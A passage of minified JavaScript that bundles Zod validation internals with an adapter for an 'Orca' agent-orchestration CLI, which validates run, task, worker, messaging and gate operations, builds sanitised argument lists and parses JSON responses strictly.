Promise.all([this._def.left._parseAsync({data:H.data,path:H.path,parent:H}),this._def.right._parseAsync({data:H.data,path:H.path,parent:H})]).then(([G,X])=>J(G,X));else return J(this._def.left._parseSync({data:H.data,path:H.path,parent:H}),this._def.right._parseSync({data:H.data,path:H.path,parent:H}))}}R$.create=($,W,H)=>{return new R$({left:$,right:W,typeName:L.ZodIntersection,...R(H)})};class n extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.array)return M(H,{code:B.invalid_type,expected:j.array,received:H.parsedType}),S;if(H.data.length<this._def.items.length)return M(H,{code:B.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),S;if(!this._def.rest&&H.data.length>this._def.items.length)M(H,{code:B.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),W.dirty();let G=[...H.data].map((X,Q)=>{let q=this._def.items[Q]||this._def.rest;if(!q)return null;return q._parse(new y(H,X,H.path,Q))}).filter((X)=>!!X);if(H.common.async)return Promise.all(G).then((X)=>{return C.mergeArray(W,X)});else return C.mergeArray(W,G)}get items(){return this._def.items}rest($){return new n({...this._def,rest:$})}}n.create=($,W)=>{if(!Array.isArray($))throw Error("You must pass an array of schemas to z.tuple([ ... ])");return new n({items:$,typeName:L.ZodTuple,rest:null,...R(W)})};class v$ extends V{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.object)return M(H,{code:B.invalid_type,expected:j.object,received:H.parsedType}),S;let J=[],G=this._def.keyType,X=this._def.valueType;for(let Q in H.data)J.push({key:G._parse(new y(H,Q,H.path,Q)),value:X._parse(new y(H,H.data[Q],H.path,Q)),alwaysSet:Q in H.data});if(H.common.async)return C.mergeObjectAsync(W,J);else return C.mergeObjectSync(W,J)}get element(){return this._def.valueType}static create($,W,H){if(W instanceof V)return new v$({keyType:$,valueType:W,typeName:L.ZodRecord,...R(H)});return new v$({keyType:T.create(),valueType:$,typeName:L.ZodRecord,...R(W)})}}class P$ extends V{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.map)return M(H,{code:B.invalid_type,expected:j.map,received:H.parsedType}),S;let J=this._def.keyType,G=this._def.valueType,X=[...H.data.entries()].map(([Q,q],Y)=>{return{key:J._parse(new y(H,Q,H.path,[Y,"key"])),value:G._parse(new y(H,q,H.path,[Y,"value"]))}});if(H.common.async){let Q=new Map;return Promise.resolve().then(async()=>{for(let q of X){let Y=await q.key,w=await q.value;if(Y.status==="aborted"||w.status==="aborted")return S;if(Y.status==="dirty"||w.status==="dirty")W.dirty();Q.set(Y.value,w.value)}return{status:W.value,value:Q}})}else{let Q=new Map;for(let q of X){let{key:Y,value:w}=q;if(Y.status==="aborted"||w.status==="aborted")return S;if(Y.status==="dirty"||w.status==="dirty")W.dirty();Q.set(Y.value,w.value)}return{status:W.value,value:Q}}}}P$.create=($,W,H)=>{return new P$({valueType:W,keyType:$,typeName:L.ZodMap,...R(H)})};class Q$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.set)return M(H,{code:B.invalid_type,expected:j.set,received:H.parsedType}),S;let J=this._def;if(J.minSize!==null){if(H.data.size<J.minSize.value)M(H,{code:B.too_small,minimum:J.minSize.value,type:"set",inclusive:!0,exact:!1,message:J.minSize.message}),W.dirty()}if(J.maxSize!==null){if(H.data.size>J.maxSize.value)M(H,{code:B.too_big,maximum:J.maxSize.value,type:"set",inclusive:!0,exact:!1,message:J.maxSize.message}),W.dirty()}let G=this._def.valueType;function X(q){let Y=new Set;for(let w of q){if(w.status==="aborted")return S;if(w.status==="dirty")W.dirty();Y.add(w.value)}return{status:W.value,value:Y}}let Q=[...H.data.values()].map((q,Y)=>G._parse(new y(H,q,H.path,Y)));if(H.common.async)return Promise.all(Q).then((q)=>X(q));else return X(Q)}min($,W){return new Q$({...this._def,minSize:{value:$,message:U.toString(W)}})}max($,W){return new Q$({...this._def,maxSize:{value:$,message:U.toString(W)}})}size($,W){return this.min($,W).max($,W)}nonempty($){return this.min(1,$)}}Q$.create=($,W)=>{return new Q$({valueType:$,minSize:null,maxSize:null,typeName:L.ZodSet,...R(W)})};class w$ extends V{constructor(){super(...arguments);this.validate=this.implement}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.function)return M(W,{code:B.invalid_type,expected:j.function,received:W.parsedType}),S;function H(Q,q){return O$({data:Q,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,B$(),p].filter((Y)=>!!Y),issueData:{code:B.invalid_arguments,argumentsError:q}})}function J(Q,q){return O$({data:Q,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,B$(),p].filter((Y)=>!!Y),issueData:{code:B.invalid_return_type,returnTypeError:q}})}let G={errorMap:W.common.contextualErrorMap},X=W.data;if(this._def.returns instanceof Y$){let Q=this;return v(async function(...q){let Y=new I([]),w=await Q._def.args.parseAsync(q,G).catch((P)=>{throw Y.addIssue(H(q,P)),Y}),D=await Reflect.apply(X,this,w);return await Q._def.returns._def.type.parseAsync(D,G).catch((P)=>{throw Y.addIssue(J(D,P)),Y})})}else{let Q=this;return v(function(...q){let Y=Q._def.args.safeParse(q,G);if(!Y.success)throw new I([H(q,Y.error)]);let w=Reflect.apply(X,this,Y.data),D=Q._def.returns.safeParse(w,G);if(!D.success)throw new I([J(w,D.error)]);return D.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...$){return new w$({...this._def,args:n.create($).rest(o.create())})}returns($){return new w$({...this._def,returns:$})}implement($){return this.parse($)}strictImplement($){return this.parse($)}static create($,W,H){return new w$({args:$?$:n.create([]).rest(o.create()),returns:W||o.create(),typeName:L.ZodFunction,...R(H)})}}class D$ extends V{get schema(){return this._def.getter()}_parse($){let{ctx:W}=this._processInputParams($);return this._def.getter()._parse({data:W.data,path:W.path,parent:W})}}D$.create=($,W)=>{return new D$({getter:$,typeName:L.ZodLazy,...R(W)})};class V$ extends V{_parse($){if($.data!==this._def.value){let W=this._getOrReturnCtx($);return M(W,{received:W.data,code:B.invalid_literal,expected:this._def.value}),S}return{status:"valid",value:$.data}}get value(){return this._def.value}}V$.create=($,W)=>{return new V$({value:$,typeName:L.ZodLiteral,...R(W)})};function _W($,W){return new e({values:$,typeName:L.ZodEnum,...R(W)})}class e extends V{_parse($){if(typeof $.data!=="string"){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{expected:z.joinValues(H),received:W.parsedType,code:B.invalid_type}),S}if(!this._cache)this._cache=new Set(this._def.values);if(!this._cache.has($.data)){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{received:W.data,code:B.invalid_enum_value,options:H}),S}return v($.data)}get options(){return this._def.values}get enum(){let $={};for(let W of this._def.values)$[W]=W;return $}get Values(){let $={};for(let W of this._def.values)$[W]=W;return $}get Enum(){let $={};for(let W of this._def.values)$[W]=W;return $}extract($,W=this._def){return e.create($,{...this._def,...W})}exclude($,W=this._def){return e.create(this.options.filter((H)=>!$.includes(H)),{...this._def,...W})}}e.create=_W;class z$ extends V{_parse($){let W=z.getValidEnumValues(this._def.values),H=this._getOrReturnCtx($);if(H.parsedType!==j.string&&H.parsedType!==j.number){let J=z.objectValues(W);return M(H,{expected:z.joinValues(J),received:H.parsedType,code:B.invalid_type}),S}if(!this._cache)this._cache=new Set(z.getValidEnumValues(this._def.values));if(!this._cache.has($.data)){let J=z.objectValues(W);return M(H,{received:H.data,code:B.invalid_enum_value,options:J}),S}return v($.data)}get enum(){return this._def.values}}z$.create=($,W)=>{return new z$({values:$,typeName:L.ZodNativeEnum,...R(W)})};class Y$ extends V{unwrap(){return this._def.type}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.promise&&W.common.async===!1)return M(W,{code:B.invalid_type,expected:j.promise,received:W.parsedType}),S;let H=W.parsedType===j.promise?W.data:Promise.resolve(W.data);return v(H.then((J)=>{return this._def.type.parseAsync(J,{path:W.path,errorMap:W.common.contextualErrorMap})}))}}Y$.create=($,W)=>{return new Y$({type:$,typeName:L.ZodPromise,...R(W)})};class Z extends V{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===L.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse($){let{status:W,ctx:H}=this._processInputParams($),J=this._def.effect||null,G={addIssue:(X)=>{if(M(H,X),X.fatal)W.abort();else W.dirty()},get path(){return H.path}};if(G.addIssue=G.addIssue.bind(G),J.type==="preprocess"){let X=J.transform(H.data,G);if(H.common.async)return Promise.resolve(X).then(async(Q)=>{if(W.value==="aborted")return S;let q=await this._def.schema._parseAsync({data:Q,path:H.path,parent:H});if(q.status==="aborted")return S;if(q.status==="dirty")return G$(q.value);if(W.value==="dirty")return G$(q.value);return q});else{if(W.value==="aborted")return S;let Q=this._def.schema._parseSync({data:X,path:H.path,parent:H});if(Q.status==="aborted")return S;if(Q.status==="dirty")return G$(Q.value);if(W.value==="dirty")return G$(Q.value);return Q}}if(J.type==="refinement"){let X=(Q)=>{let q=J.refinement(Q,G);if(H.common.async)return Promise.resolve(q);if(q instanceof Promise)throw Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return Q};if(H.common.async===!1){let Q=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(Q.status==="aborted")return S;if(Q.status==="dirty")W.dirty();return X(Q.value),{status:W.value,value:Q.value}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((Q)=>{if(Q.status==="aborted")return S;if(Q.status==="dirty")W.dirty();return X(Q.value).then(()=>{return{status:W.value,value:Q.value}})})}if(J.type==="transform")if(H.common.async===!1){let X=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(!r(X))return S;let Q=J.transform(X.value,G);if(Q instanceof Promise)throw Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:W.value,value:Q}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((X)=>{if(!r(X))return S;return Promise.resolve(J.transform(X.value,G)).then((Q)=>({status:W.value,value:Q}))});z.assertNever(J)}}Z.create=($,W,H)=>{return new Z({schema:$,typeName:L.ZodEffects,effect:W,...R(H)})};Z.createWithPreprocess=($,W,H)=>{return new Z({schema:W,effect:{type:"preprocess",transform:$},typeName:L.ZodEffects,...R(H)})};class m extends V{_parse($){if(this._getType($)===j.undefined)return v(void 0);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}m.create=($,W)=>{return new m({innerType:$,typeName:L.ZodOptional,...R(W)})};class s extends V{_parse($){if(this._getType($)===j.null)return v(null);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}s.create=($,W)=>{return new s({innerType:$,typeName:L.ZodNullable,...R(W)})};class K$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;if(W.parsedType===j.undefined)H=this._def.defaultValue();return this._def.innerType._parse({data:H,path:W.path,parent:W})}removeDefault(){return this._def.innerType}}K$.create=($,W)=>{return new K$({innerType:$,typeName:L.ZodDefault,defaultValue:typeof W.default==="function"?W.default:()=>W.default,...R(W)})};class b$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H={...W,common:{...W.common,issues:[]}},J=this._def.innerType._parse({data:H.data,path:H.path,parent:{...H}});if(j$(J))return J.then((G)=>{return{status:"valid",value:G.status==="valid"?G.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}});else return{status:"valid",value:J.status==="valid"?J.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}}removeCatch(){return this._def.innerType}}b$.create=($,W)=>{return new b$({innerType:$,typeName:L.ZodCatch,catchValue:typeof W.catch==="function"?W.catch:()=>W.catch,...R(W)})};class I$ extends V{_parse($){if(this._getType($)!==j.nan){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.nan,received:H.parsedType}),S}return{status:"valid",value:$.data}}}I$.create=($)=>{return new I$({typeName:L.ZodNaN,...R($)})};var B3=Symbol("zod_brand");class m$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;return this._def.type._parse({data:H,path:W.path,parent:W})}unwrap(){return this._def.type}}class k$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.common.async)return(async()=>{let G=await this._def.in._parseAsync({data:H.data,path:H.path,parent:H});if(G.status==="aborted")return S;if(G.status==="dirty")return W.dirty(),G$(G.value);else return this._def.out._parseAsync({data:G.value,path:H.path,parent:H})})();else{let J=this._def.in._parseSync({data:H.data,path:H.path,parent:H});if(J.status==="aborted")return S;if(J.status==="dirty")return W.dirty(),{status:"dirty",value:J.value};else return this._def.out._parseSync({data:J.value,path:H.path,parent:H})}}static create($,W){return new k$({in:$,out:W,typeName:L.ZodPipeline})}}class F$ extends V{_parse($){let W=this._def.innerType._parse($),H=(J)=>{if(r(J))J.value=Object.freeze(J.value);return J};return j$(W)?W.then((J)=>H(J)):H(W)}unwrap(){return this._def.innerType}}F$.create=($,W)=>{return new F$({innerType:$,typeName:L.ZodReadonly,...R(W)})};function XW($,W){let H=typeof $==="function"?$(W):typeof $==="string"?{message:$}:$;return typeof H==="string"?{message:H}:H}function BW($,W={},H){if($)return X$.create().superRefine((J,G)=>{let X=$(J);if(X instanceof Promise)return X.then((Q)=>{if(!Q){let q=XW(W,J),Y=q.fatal??H??!0;G.addIssue({code:"custom",...q,fatal:Y})}});if(!X){let Q=XW(W,J),q=Q.fatal??H??!0;G.addIssue({code:"custom",...Q,fatal:q})}return});return X$.create()}var j3={object:A.lazycreate},L;(function($){$.ZodString="ZodString",$.ZodNumber="ZodNumber",$.ZodNaN="ZodNaN",$.ZodBigInt="ZodBigInt",$.ZodBoolean="ZodBoolean",$.ZodDate="ZodDate",$.ZodSymbol="ZodSymbol",$.ZodUndefined="ZodUndefined",$.ZodNull="ZodNull",$.ZodAny="ZodAny",$.ZodUnknown="ZodUnknown",$.ZodNever="ZodNever",$.ZodVoid="ZodVoid",$.ZodArray="ZodArray",$.ZodObject="ZodObject",$.ZodUnion="ZodUnion",$.ZodDiscriminatedUnion="ZodDiscriminatedUnion",$.ZodIntersection="ZodIntersection",$.ZodTuple="ZodTuple",$.ZodRecord="ZodRecord",$.ZodMap="ZodMap",$.ZodSet="ZodSet",$.ZodFunction="ZodFunction",$.ZodLazy="ZodLazy",$.ZodLiteral="ZodLiteral",$.ZodEnum="ZodEnum",$.ZodEffects="ZodEffects",$.ZodNativeEnum="ZodNativeEnum",$.ZodOptional="ZodOptional",$.ZodNullable="ZodNullable",$.ZodDefault="ZodDefault",$.ZodCatch="ZodCatch",$.ZodPromise="ZodPromise",$.ZodBranded="ZodBranded",$.ZodPipeline="ZodPipeline",$.ZodReadonly="ZodReadonly"})(L||(L={}));var M3=($,W={message:`Input not instance of ${$.name}`})=>BW((H)=>H instanceof $,W),jW=T.create,MW=a.create,w3=I$.create,U3=t.create,wW=U$.create,S3=J$.create,N3=f$.create,L3=S$.create,R3=N$.create,D3=X$.create,V3=o.create,z3=u.create,K3=C$.create,b3=x.create,F3=A.create,E3=A.strictCreate,A3=L$.create,O3=x$.create,f3=R$.create,C3=n.create,v3=v$.create,P3=P$.create,I3=Q$.create,k3=w$.create,h3=D$.create,g3=V$.create,T3=e.create,x3=z$.create,m3=Y$.create,y3=Z.create,Z3=m.create,l3=s.create,c3=Z.createWithPreprocess,u3=k$.create,n3=()=>jW().optional(),d3=()=>MW().optional(),p3=()=>wW().optional(),i3={string:($)=>T.create({...$,coerce:!0}),number:($)=>a.create({...$,coerce:!0}),boolean:($)=>U$.create({...$,coerce:!0}),bigint:($)=>t.create({...$,coerce:!0}),date:($)=>J$.create({...$,coerce:!0})};var s3=S;var o3=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"];class E extends Error{code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError";constructor($,W,H,J,G,X,Q){super(X);this.code=$;this.operation=W;this.phase=H;this.retrySafety=J;this.recovery=G;this.stderr=Q}}var N=_.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),$W=($)=>_.string().refine((W)=>W===W.normalize("NFC"),"must be NFC-normalized").refine((W)=>!W.includes("\x00")&&!/[\uD800-\uDFFF]/u.test(W),"contains an invalid code point").refine((W)=>Buffer.byteLength(W,"utf8")>=1&&Buffer.byteLength(W,"utf8")<=$),k=$W(16384),l=$W(512),W$=$W(256),h$=_.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(($)=>!$.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test($)),DW=h$.refine(($)=>Buffer.byteLength($,"utf8")<=128),UW=_.number().int().min(1).max(100),s$=_.number().int().min(250).max(600000),c$=_.enum(["pending","ready","dispatched","completed","failed","blocked"]),VW=_.enum(["pending","resolved"]),l$=_.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),a3=_.enum(["low","normal","high","urgent"]),zW=_.enum(["auto","transcript","terminal"]),KW=_.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),bW=_.enum(["low","medium","high","xhigh"]),$$=($,W,H=0)=>_.array($).min(H).max(W).refine((J)=>new Set(J).size===J.length,"items must be unique"),FW=_.object({summary:k,artifacts:$$(W$,32).optional()}).strict().refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),t3=_.object({taskId:N.optional(),dispatchId:N.optional(),phase:W$.optional(),outcome:_.enum(["succeeded","failed"]).optional(),filesModified:$$(W$,128).optional(),reportPath:W$.optional()}).strict().refine(($)=>Object.keys($).length>0,"payload must not be empty").refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),f=($,W)=>_.object({operation:_.literal($),...W}).strict(),EW=_.union([f("run-create",{objective:k}),f("run-list",{limit:UW.optional(),cursor:h$.optional()}),f("run-show",{id:N}),f("run-current",{}),f("run-use",{id:N}),f("task-create",{spec:k,title:l.optional(),deps:$$(N,64).optional(),parent:N.optional()}),f("task-list",{status:c$.optional(),ready:_.boolean().optional(),brief:_.boolean().optional()}),f("task-update",{id:N,status:c$,result:FW.optional()}),f("worker-start",{task:N,agent:KW,model:DW.optional(),effort:bW.optional(),timeoutMs:s$.optional()}).refine(($)=>$.effort===void 0||$.model!==void 0,{message:"effort requires model"}),f("worker-show",{dispatch:N}),f("worker-read",{dispatch:N,source:zW.optional(),cursor:h$.optional(),limit:UW.optional()}),f("worker-release",{dispatch:N}),f("send",{subject:l,body:k.optional(),type:l$.optional(),priority:a3.optional(),threadId:N.optional(),payload:t3.optional()}),f("check",{ack:N.optional(),unread:_.boolean().optional(),peek:_.boolean().optional(),all:_.boolean().optional(),types:$$(l$,l$.options.length,1).optional(),wait:_.boolean().optional(),timeoutMs:s$.optional()}).refine(($)=>[$.unread,$.peek,$.all].filter((W)=>W===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(($)=>$.timeoutMs===void 0||$.wait===!0,{message:"timeoutMs requires wait"}),f("reply",{id:N,body:k}),f("ask",{question:l.optional(),resume:N.optional(),options:$$(W$,10,1).optional(),timeoutMs:s$.optional()}).refine(($)=>$.question===void 0!==($.resume===void 0),{message:"exactly one of question or resume is required"}).refine(($)=>$.options===void 0||$.question!==void 0,{message:"options require question"}).refine(($)=>$.options?.every((W)=>!/[,\r\n]/.test(W))??!0,{message:"ask options cannot contain comma, CR, or LF"}),f("gate-create",{task:N,question:l,options:$$(W$,10,1).optional()}),f("gate-list",{task:N.optional(),status:VW.optional()}),f("gate-resolve",{id:N,resolution:k,task:N})]);function F($,W){if(W.length>0&&W[0]==="-")throw new E("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${$} has a flag-shaped value`);return[$,W]}function O($,W){return W===void 0?[]:F($,String(W))}function E$($,W){return W===!0?[$]:[]}function SW($){let W=EW.safeParse($);if(!W.success){let G=e3($);throw new E(G===void 0?"invalid_operation":"invalid_argument",G??"runtime","validate","safe","Correct the semantic input and retry.",W.error.issues.map((X)=>X.message).join("; "))}let H=W.data,J=$0(H);return Object.freeze(["orchestration",H.operation,...J,"--json"])}function e3($){if(typeof $!=="object"||$===null||!("operation"in $))return;let W=$.operation;return o3.find((H)=>H===W)}function $0($){switch($.operation){case"run-create":return F("--objective",$.objective);case"run-list":return[...O("--limit",$.limit),...O("--cursor",$.cursor)];case"run-show":case"run-use":return F("--id",$.id);case"run-current":return[];case"task-create":return[...F("--spec",$.spec),...O("--task-title",$.title),...$.deps===void 0?[]:F("--deps",JSON.stringify($.deps)),...O("--parent",$.parent)];case"task-list":return[...O("--status",$.status),...E$("--ready",$.ready),...E$("--brief",$.brief)];case"task-update":return[...F("--id",$.id),...F("--status",$.status),...$.result===void 0?[]:F("--result",JSON.stringify($.result))];case"worker-start":return[...F("--task",$.task),"--worktree","current",...F("--agent",$.agent),...O("--model",$.model),...O("--effort",$.effort),...O("--timeout-ms",$.timeoutMs)];case"worker-show":case"worker-release":return F("--dispatch",$.dispatch);case"worker-read":return[...F("--dispatch",$.dispatch),...O("--source",$.source),...O("--cursor",$.cursor),...O("--limit",$.limit)];case"send":return[...F("--subject",$.subject),...O("--body",$.body),...O("--type",$.type),...O("--priority",$.priority),...O("--thread-id",$.threadId),...$.payload===void 0?[]:F("--payload",JSON.stringify($.payload))];case"check":return[...O("--ack",$.ack),...E$("--unread",$.unread),...E$("--peek",$.peek),...E$("--all",$.all),...$.types===void 0?[]:F("--types",$.types.join(",")),...E$("--wait",$.wait),...O("--timeout-ms",$.timeoutMs)];case"reply":return[...F("--id",$.id),...F("--body",$.body)];case"ask":return[...$.question===void 0?F("--resume",$.resume):F("--question",$.question),...$.options===void 0?[]:F("--options",$.options.join(",")),...O("--timeout-ms",$.timeoutMs)];case"gate-create":return[...F("--task",$.task),...F("--question",$.question),...$.options===void 0?[]:F("--options",JSON.stringify($.options))];case"gate-list":return[...O("--task",$.task),...O("--status",$.status)];case"gate-resolve":return[...F("--id",$.id),...F("--resolution",$.resolution)]}}function W0($={}){let W=$.platform??process.platform;if(W==="win32")return"orca.exe";if(W==="darwin")return"orca";if(W==="linux")return $.managedTerminal===!0?"orca":"orca-ide";throw new E("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${W}`)}var H0=30000,G0=1048576,J0=65536,X0=1000,Q0=1000,AW=async($)=>new Promise((W,H)=>{let J=r3($.executable,[...$.argv],{shell:$.shell,env:$.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),G=[],X=[],Q=0,q=0,Y=!1,w=!1,D=!1,g=!1,P,d,_$=(h)=>{if(Y)return;if(Y=!0,clearTimeout(HW),P!==void 0)clearTimeout(P);if(d!==void 0)clearTimeout(d);W(h)},n$=()=>{J.kill("SIGTERM"),P??=setTimeout(()=>{J.kill("SIGKILL"),d??=setTimeout(()=>_$({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(G).toString("utf8"),stderr:Buffer.concat(X).toString("utf8"),timedOut:w,outputLimited:D,transportLost:!0}),Q0)},X0)},HW=setTimeout(()=>{w=!0,n$()},$.timeoutMs);J.stdout.on("data",(h)=>{if(Q+=h.length,Q>$.maxStdoutBytes)D=!0,n$();else G.push(h)}),J.stderr.on("data",(h)=>{if(q+=h.length,q>$.maxStderrBytes)D=!0,n$();else X.push(h)}),J.once("spawn",()=>{g=!0}),J.once("error",(h)=>{if(Y)return;if(g){_$({exitCode:null,stdout:Buffer.concat(G).toString("utf8"),stderr:`${Buffer.concat(X).toString("utf8")} +process transport error: ${h.message}`,timedOut:w,outputLimited:D,transportLost:!0});return}if(Y=!0,clearTimeout(HW),P!==void 0)clearTimeout(P);if(d!==void 0)clearTimeout(d);H(h)}),J.once("close",(h,hW)=>{if(Y)return;_$({exitCode:h,signal:hW,stdout:Buffer.concat(G).toString("utf8"),stderr:Buffer.concat(X).toString("utf8"),timedOut:w,outputLimited:D})})}),A$=N,K=($)=>_.object($).strict(),r$=K({id:N,objective:k.optional(),coordinatorTerminalHandle:A$.optional()}),y$=K({id:N,objective:k,home_database:_.string().min(1).max(128),coordinator_handle:A$,coordinator_pane_key:_.string().min(1).max(256),consumer_generation:_.number().int().positive(),legacy:_.number().int().min(0).max(1),created_at:_.string().min(1).max(64),updated_at:_.string().min(1).max(64)}),Y0=K({id:N,spec:k,title:l.optional(),deps:$$(N,64).optional(),parent:N.optional(),status:c$,result:FW.optional()}),o$=K({id:N,run_id:N,parent_id:N.nullable(),created_by_terminal_handle:A$,created_by_pane_key:_.string().min(1).max(256),created_by_process_incarnation:_.string().min(1).max(512),created_by_run_generation:_.number().int().positive(),task_title:l,display_name:l,spec:k,status:c$,deps:_.string().max(16384),result:_.string().max(32768).nullable(),created_at:_.string().min(1).max(64),completed_at:_.string().min(1).max(64).nullable()}),Z$=K({requestId:_.string().uuid(),replayed:_.boolean()}),NW=K({consumerGeneration:_.number().int().positive()}),q0=K({id:N,taskId:N,agent:KW.optional(),model:DW.optional(),effort:bW.optional(),state:W$.optional(),terminalDisposition:_.enum(["released","retained"]).optional()}),_0=K({id:N,taskId:N,question:l,options:$$(W$,10,1).optional(),status:VW,resolution:k.optional()}),LW=K({messageId:N}),B0=_.union([K({messageId:N,state:_.literal("answered"),answer:k}),K({messageId:N,state:_.literal("pending")})]),j0=K({deliveryId:N.optional(),acknowledged:_.boolean().optional(),messages:_.array(K({id:N,type:l$,subject:l})).max(50).optional(),count:_.number().int().min(0).max(50).optional()}),M0={"run-create":_.union([K({runId:N}),K({run:y$,binding:NW,mutation:Z$})]),"run-list":K({runs:_.array(r$).max(100),cursor:h$.optional()}),"run-show":K({run:_.union([r$,y$])}),"run-current":_.union([K({run:r$,coordinatorTerminalHandle:A$}),K({run:y$.nullable()})]),"run-use":_.union([K({runId:N,coordinatorTerminalHandle:A$}),K({run:y$,binding:NW,mutation:Z$})]),"task-create":_.union([K({taskId:N}),K({task:o$,mutation:Z$})]),"task-list":_.union([K({tasks:_.array(Y0).max(100)}),K({runId:N,legacyReadOnly:_.boolean(),tasks:_.array(o$).max(100),count:_.number().int().min(0).max(100)})]),"task-update":_.union([K({taskId:N}),K({task:o$,mutation:Z$})]),"worker-start":K({dispatchId:N,taskId:N}),"worker-show":K({dispatch:q0}),"worker-read":K({dispatchId:N,source:zW,output:k,cursor:h$.optional()}),"worker-release":K({dispatchId:N}),send:LW,check:j0,reply:LW,ask:B0,"gate-create":K({gateId:N,taskId:N}),"gate-list":K({gates:_.array(_0).max(100)}),"gate-resolve":K({gateId:N,taskId:N})},w0=_.object({id:_.string().min(1).max(256),ok:_.boolean(),result:_.unknown().optional(),error:_.object({code:_.string().min(1).max(128),message:_.string().min(1).max(4096)}).strict().optional(),_meta:_.object({runtimeId:N,runtimeVersion:l.optional(),version:l.optional(),invokingTerminal:A$.optional()}).strict().optional()}).strict().refine(($)=>$.ok?$.result!==void 0&&$.error===void 0:$.result===void 0&&$.error!==void 0),U0=_.object({id:_.string().min(1).max(256),ok:_.literal(!0),result:_.object({target:_.object({kind:_.literal("local")}).strict(),app:_.object({running:_.literal(!0),pid:_.number().int().positive(),desktopWindowStatus:_.enum(["available","unavailable"])}).strict(),runtime:_.object({state:_.literal("ready"),reachable:_.literal(!0),runtimeId:_.string().min(1).max(256),appVersion:_.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/),remoteUpdateSupport:_.object({installMode:_.string().min(1).max(128),automatic:_.boolean(),reason:_.string().min(1).max(256)}).strict(),capabilities:_.array(_.string().min(1).max(256)).max(256)}).strict(),graph:_.object({state:_.literal("ready")}).strict()}).strict(),_meta:_.object({runtimeId:_.string().min(1).max(256)}).strict()}).strict().refine(($)=>$.result.runtime.runtimeId===$._meta.runtimeId,"runtime identity mismatch");function H$($,W,H){return new E("ambiguous_after_possible_commit",$,W,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",H)}function S0($,W,H){let J;try{J=OW(W)}catch{if(H)throw H$($,"decode","stdout was not one JSON document");throw new E("malformed_json",$,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was not one JSON document")}let G=w0.safeParse(J);if(!G.success){if(H)throw H$($,"decode","stdout did not match the Orca envelope contract");throw new E("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract")}if(G.data.ok){if(!M0[$].safeParse(G.data.result).success){if(H)throw H$($,"receipt",`success result did not match the finite ${$} response contract`);throw new E("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${$} response contract`)}}return G.data}function OW($){let W=[],H=!1,J=0;while(J<$.length){let G=$[J];if(G==='"'){let X=J;J+=1;while(J<$.length)if($[J]==="\\")J+=2;else if($[J]==='"')break;else J+=1;if(J>=$.length)throw Error("unterminated JSON string");if(H){let Q=JSON.parse($.slice(X,J+1)),q=W.at(-1);if(q===null||q===void 0||q.has(Q))throw Error("duplicate JSON key");q.add(Q),H=!1}}else if(G==="{")W.push(new Set),H=!0;else if(G==="[")W.push(null);else if(G==="}")W.pop();else if(G==="]")W.pop();else if(G===","&&W.at(-1)instanceof Set)H=!0;J+=1}return JSON.parse($)}var a$=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function t$($,W){return $==="check"&&typeof W==="object"&&W!==null&&"ack"in W}function b($){return $}function q$($,W){let H=b($)[W];return typeof H==="object"&&H!==null?b(H).id:void 0}function N0($,W){let H=b(W);if($==="run-create"||$==="run-use"){let G=H.runId??q$(H,"run");return typeof 